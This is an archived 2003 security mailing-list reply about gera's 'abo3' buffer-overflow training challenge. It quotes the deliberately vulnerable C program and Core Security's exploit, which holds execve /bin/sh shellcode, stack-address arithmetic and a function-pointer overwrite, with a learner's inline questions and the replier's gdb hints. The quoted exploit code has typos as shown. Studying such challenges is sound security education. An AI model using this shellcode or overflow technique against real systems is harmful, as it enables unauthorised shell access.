Re: Abo3 (can someone help me?)

From: sin (sinat_private)
Date: Tue May 27 2003 - 07:57:11 PDT

  • Next message: Bram Matthys (Syzop): "Re: mirc32 6.0x crash when resolving dns."

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    what exists past the array of 256?
    and how is it used later?
    
    (gdb) p &fn
    (gdb) info locals
    
    
    j
    
    
    
    
    "Once set in motion, the process of questioning could come to but one end,
    the erosion of conviction and certitude and collapse into despair" (The
    Specter of the Absurd, 1988).
    
    On Sat, 24 May 2003, Discussion Lists wrote:
    
    > Date: Sat, 24 May 2003 21:11:20 -0700
    > From: Discussion Lists <discussionsat_private>
    > To: vuln-devat_private
    > Subject: Abo3 (can someone help me?)
    >
    > Hi all,
    > This list has become far more interesting with the challenges.  Thanks
    > to all for the participation.  Recently, a user posted a particular
    > site:
    >
    >
    > http://community.core-sdi.com/~gera/InsecureProgramming/abo3.html
    >
    > Which has the following code:
    >
    >
    > /* abo3.c                                                    *
    >  * specially crafted to feed your brain by gera@core-sdi.com */
    >
    > /* This'll prepare you for The Next Step                     */
    >
    > int main(int argv,char **argc) {
    > 	extern system,puts;
    > 	void (*fn)(char*)=(void(*)(char*))&system;
    > 	char buf[256];
    >
    > 	fn=(void(*)(char*))&puts;
    > 	strcpy(buf,argc[1]);
    > 	fn(argc[2]);
    > 	exit(1);
    > }
    >
    > The issue here is that there is an exit(1) at the end of the code.  So
    > even if you were to overwrite the return address, it would not matter
    > because there is no return (if I understand correctly).
    >
    > The solution, according to this place:
    >
    > http://www.core-sec.com/examples/core_vulnerabilities.pdf
    >
    > is that we have to stick our shellcode in an environment variable, then
    > overwrite the address of that variable into the address of the fn()
    > function.  So they lay out the following code to do it (questions
    > in-line):
    >
    > /*
    > ** exp3.c
    > ** Coded by CoreSecurity - info@core-sec.com
    > **/
    >
    > #include <string.h>
    > #include <uninstd.h>
    >
    > #define BUFSIZE 261
    >
    > /* Why 261?  THe vulnerable program allocates 256 I thought.  Where is
    > that other 5 going to/for? */
    >
    > /* 24 bytes shellcode */
    > char shellcode[]=
    >         /*  1       P    h  \   \   s   h    h  \   b    i  */
    > 	"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
    > 	/* n           P  2                */
    > 	"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    > /* so it is pushing /bin/sh backwards on the stack.  Aleph1 talks about
    > how to create this code so I won't ask about it*/
    > int main(void) {
    > 	char *env[3] = {shellcode, NULL};
    > 	char evil_buffer[BUFFSIZE];
    > 	char *p;
    >
    > 	/*Calculating address of shellcode */
    > 	int ret = 0xbffffffa - strlen(shellcode) -
    > strlen("/home/user/gera/abo3");
    > /* That is what I don't get.  First, what is the 0xbffffffa address?  Is
    > that where supposedly the
    > ending address of the code when everything is pushed onto the stack?  I
    > believe strlen calculates the
    > length of a string?  If that is the case, why do they need to calculate
    > shellcode, and the path.  I
    > also assume the path is case specific.  In other words, if the binary
    > has a different path on my system,
    > I would use that instead. */
    >
    > 	/* constructing the buffer */
    > 	p = evil_buffer;
    > 	memset(p, 'B', 256);	// Some junk
    > 	p += 256;
    >
    > 	*((void **)p) = (void *) (ret);
    > 	p += 4;
    > 	*p = '\0';
    >
    > 	/* Two arguments are passed to the vulnerable program */
    > 	execle("/home/user/gera/abo3", "abo3", evil_buffer, "A",
    > NULL,env);
    > __________________________________________
    > I don't completely understand much of that last part either, but I have
    > the K&R book, so I will drag it out and see what I can find out.
    >
    >
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.1 (FreeBSD)
    
    iD8DBQE+03zKoEcehqzkkpgRAs8yAKD1FvrCzqnOdEbLw3oqSTU5divusACfaRzK
    oV5lHLjO/0NuTUycmUULkOA=
    =7h62
    -----END PGP SIGNATURE-----
    



    This archive was generated by hypermail 2b30 : Tue May 27 2003 - 15:11:33 PDT